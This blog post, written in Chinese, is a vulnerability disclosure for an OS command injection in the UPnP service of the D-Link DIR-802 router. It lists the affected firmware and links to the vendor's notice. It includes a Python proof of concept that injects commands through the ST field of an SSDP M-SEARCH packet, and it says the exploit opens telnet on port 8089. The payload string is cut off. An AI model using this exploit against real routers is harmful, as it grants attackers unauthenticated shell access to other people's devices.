Cool-Y.github.io/source/_posts/DIR-802-OS-Command-Injection.md
2021-04-10 18:52:15 +08:00

46 lines
1.9 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

---
title: DIR-802 OS Command Injection
date: 2021-03-02 13:36:32
tags:
- D-LINK
- UPnP
- 固件模拟
categories:
- IOT
---
### D-LINK DIR-802 命令注入漏洞
> by Cool
#### 漏洞已提交厂商
https://supportannouncement.us.dlink.com/announcement/publication.aspx?name=SAP10206
#### 漏洞类型
CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
#### 受影响设备及软件版本
DIR-802 hardware revision Ax before v1.00b05
https://pmdap.dlink.com.tw/PMD/GetAgileFile?itemNumber=FIR1300450&fileName=DIR802_FW100b05.zip&fileSize=6163759.0;
#### 漏洞概要
DIR-802中存在一个命令注入漏洞攻击者可以通过精心制作的M-SEARCH数据包向UPnP注入任意命令。
#### 漏洞详情
与CVE-2020-15893相似在固件版本v-1.00b05之前的D-Link DIR-802 A1上发现了一个问题。默认情况下端口1900上启用了通用即插即用UPnP。攻击者可以通过将有效负载注入SSDP M-SEARCH发现数据包的“搜索目标”ST字段来执行命令注入。
#### POC
```python
# coding: utf-8
import socket
import struct
buf = 'M-SEARCH * HTTP/1.1\r\nHOST:192.168.0.1:1900\r\nST:urn:schemas-upnp-org:service
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect(("192.168.0.1", 1900))
s.send(buf)
s.close()
```
#### 漏洞复现
使用firmadyne进行固件模拟运行UPnP服务
<img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1614665628/cve/carbon.png" width="50%" height="50%">
攻击者可以是连接到路由器局域网内并且能够向UPnP端口发送请求的任何人。可以通过编写简单的python脚本将精心制作的数据包发送到特定的upnp端口该脚本随后将作为精心制作的请求的一部分执行提供的命令。共享的POC将打开端口8089上的telnet服务。
<img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1614665899/cve/carbon_1.png" width="50%" height="50%">